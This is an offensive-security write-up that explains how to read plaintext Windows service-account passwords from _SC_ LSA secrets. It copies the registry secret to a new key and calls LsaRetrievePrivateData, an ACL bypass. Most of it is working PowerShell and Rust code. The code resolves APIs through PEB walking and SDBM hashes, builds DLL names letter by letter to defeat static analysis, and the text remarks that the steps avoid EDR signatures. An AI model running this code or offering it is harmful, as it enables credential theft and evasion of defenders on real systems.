LSA Secrets: Reading _SC_ Service Passwords with the Registry Copy Trick
So, if you happen to be on a Windows box as SYSTEM and you find a non-gMSA service, then you are able to actually use LsaRetrievePrivateData on it, but not directly. You need a simple trick.
Where secrets live¶
LSA secrets sit under HKLM:\SECURITY\Policy\Secrets\ and each secret is a key with five subkeys:
HKLM:\SECURITY\Policy\Secrets\<SecretName>\
CurrVal <- current encrypted blob
OldVal <- previous value (password rotation)
CupdTime <- current update timestamp
OupdTime <- old update timestamp
SecDesc <- security descriptor
So, the SECURITY hive is restricted to only SYSTEM. There is a whole chain of actions needed to decrypt the blob, but don't mind it, LsaRetrievePrivateData does it for us.
The direct path, what works¶
LsaOpenSecret + LsaQuerySecret read secrets by name. For non-_SC_ secrets this is clean:
LsaOpenPolicy(NULL, &oa, POLICY_ALL_ACCESS, &hPolicy)
LsaOpenSecret(hPolicy, "DPAPI_SYSTEM", SECRET_QUERY_VALUE, &hSecret)
LsaQuerySecret(hSecret, ¤tValue, NULL, NULL, NULL)
→ plaintext in currentValue->Buffer
DPAPI_SYSTEM, $MACHINE.ACC, NL$KM, DefaultPassword, all readable this way.
The problem, _SC_ secrets¶
Try LsaOpenSecret on _SC_TargetService and you get STATUS_ACCESS_DENIED (0xC0000022). SYSTEM token, full policy access, correct SECRET_QUERY_VALUE mask, does not matter. The LSA applies an additional ACL check on secrets with the _SC_ prefix that blocks even SYSTEM from the LsaOpenSecret path.
The bypass, registry copy + LsaRetrievePrivateData¶
LsaRetrievePrivateData reads a secret by name but does not enforce the same ACL gate. It looks up HKLM:\SECURITY\Policy\Secrets\<name>\CurrVal, decrypts the blob using the live LSA key chain, and hands you plaintext.
The trick is to copy the target secret's five subkeys to a new key with a clean name and point LsaRetrievePrivateData at the copy.
Stage the copy (PowerShell)¶
$subkeys = "CurrVal","OldVal","OupdTime","CupdTime","SecDesc"
$src = "HKLM:\SECURITY\Policy\Secrets\_SC_TargetService"
$dst = "HKLM:\SECURITY\Policy\Secrets\TempSecret2"
New-Item -Path $dst -Force
foreach ($s in $subkeys) {
New-Item -Path "$dst\$s" -Force | Out-Null
$val = (Get-ItemProperty "$src\$s").'(default)'
Set-ItemProperty -Path "$dst\$s" -Name '(default)' -Value $val
}
All five subkeys must be present. LsaRetrievePrivateData validates the structure; skip SecDesc and the call returns STATUS_OBJECT_NAME_NOT_FOUND.
Copy as many _SC_ secrets as you need. Each gets its own TempSecret<N> key.
Why not just NtSetValueKey from Rust?¶
We could also use: NtCreateKey, NtSetValueKey, and NtDeleteKey, but I preferred powershell as it was quicker for my purpose and these copy lines are not triggering any default EDR signature.
Read the secret (Rust)¶
Where the APIs actually live¶
On modern Windows (10 / Server 2016+), the LSA client functions are forwarded across multiple DLLs:
| Function | Documented in | Actually exported by |
|---|---|---|
LsaOpenPolicy |
advapi32.dll |
sechost.dll |
LsaRetrievePrivateData |
advapi32.dll |
sechost.dll |
LsaOpenSecret |
advapi32.dll |
sspicli.dll |
LsaQuerySecret |
advapi32.dll |
sspicli.dll |
LsaClose |
advapi32.dll |
sechost.dll |
If you resolve via PEB walk + export table parsing, you must target the real DLL. The forwarder stub in advapi32 does not have a function body at the RVA, following it gives you garbage. secur32.dll has the same problem; it forwards to sspicli.dll.
Load the DLLs¶
sspicli.dll and sechost.dll may not be loaded yet. Use LdrLoadDll from ntdll, you already have ntdll from the initial PEB walk, so there is no reason to resolve kernel32!LoadLibraryW.
// LdrLoadDll is an ntdll export — no kernel32 dependency
let ldr_load: FnLdrLoadDll = transmute(get_proc(ntdll, H_LDRLOADDLL));
// Build "sspicli.dll" as UTF-16, load it, then PEB-walk to get the base
let sspicli_name = build_sspicli_wide();
let sspicli_ustr = UnicodeString {
length: ((sspicli_name.len() - 1) * 2) as u16,
maximum_length: (sspicli_name.len() * 2) as u16,
buffer: sspicli_name.as_ptr() as *mut u16,
};
ldr_load(ptr::null(), ptr::null_mut(), &sspicli_ustr, &mut sspicli_handle);
let sspicli = get_module(H_SSPICLI);
We create any name that we need to resolve by simply pushing each letter in a Vec, that way we avoid static any static analysis.
Resolve the functions¶
// All three come from sechost on modern Windows
let lsaop: FnLsaOpenPolicy = transmute(get_proc(sechost, H_LSAOPENPOLICY));
let lsaretrieve: FnLsaRetrievePrivateData = transmute(get_proc(sechost, H_LSARETRIEVEPRIVATEDATA));
let lsaclose: FnLsaClose = transmute(get_proc(sechost, H_LSACLOSE));
SDBM hashes are compile-time constants. No API name strings in the binary.
const H_LSARETRIEVEPRIVATEDATA: u32 = sdbm(b"LsaRetrievePrivateData");
const H_LSAOPENPOLICY: u32 = sdbm(b"LsaOpenPolicy");
const H_LSACLOSE: u32 = sdbm(b"LsaClose");
Open policy, retrieve, read¶
// Policy handle — POLICY_ALL_ACCESS on local system
let mut policy_handle: LsaHandle = zeroed();
let status = lsaop(
ptr::null_mut(), // NULL = local machine
&mut object_attributes, // zeroed struct, length field set
POLICY_ALL_ACCESS, // 0x00F0FFF
&mut policy_handle,
);
// status != 0 -> check NTSTATUS, usually means you are not SYSTEM
// Point at the copied secret, not the _SC_ original
let secret_name = to_wide("TempSecret2");
let mut lsa_string = LsaUnicodeString {
length: ((secret_name.len() - 1) * 2) as u16, // byte length, exclude null
maximumlength: (secret_name.len() * 2) as u16, // byte length, include null
buffer: PWSTR(secret_name.as_ptr() as *mut u16),
};
let mut private_data: *mut LsaUnicodeString = ptr::null_mut();
let status = lsaretrieve(policy_handle, &mut lsa_string, &mut private_data);
// The buffer is the plaintext service account password as UTF-16
if !private_data.is_null() {
let secret = &*private_data;
let buf = std::slice::from_raw_parts(
secret.buffer.0,
secret.length as usize / 2,
);
println!("{}", String::from_utf16_lossy(buf));
}
lsaclose(policy_handle);
For _SC_ secrets the buffer is always a Unicode string, the service account password. For DPAPI_SYSTEM or $MACHINE.ACC the buffer is raw bytes (key material / NT hash), not a printable string. Handle accordingly.
Cleanup¶
Delete every TempSecret* key that has been created in the process.
Remove-Item -Path "HKLM:\SECURITY\Policy\Secrets\TempSecret2" -Recurse -Force
Notes¶
POLICY_ALL_ACCESS requires SYSTEM. If you only have admin, use POLICY_GET_PRIVATE_INFORMATION (0x4), it is sufficient for LsaRetrievePrivateData and does not require the full policy mask.
The LsaUnicodeString length/maximum_length fields are in bytes, not characters. Off-by-one here gives you truncated output or a read past the buffer.
build_sspicli_wide() and friends exist to keep DLL name strings out of the .rdata section. A to_wide("sspicli.dll") call compiles the UTF-8 literal into the binary. The character-by-character construction does not.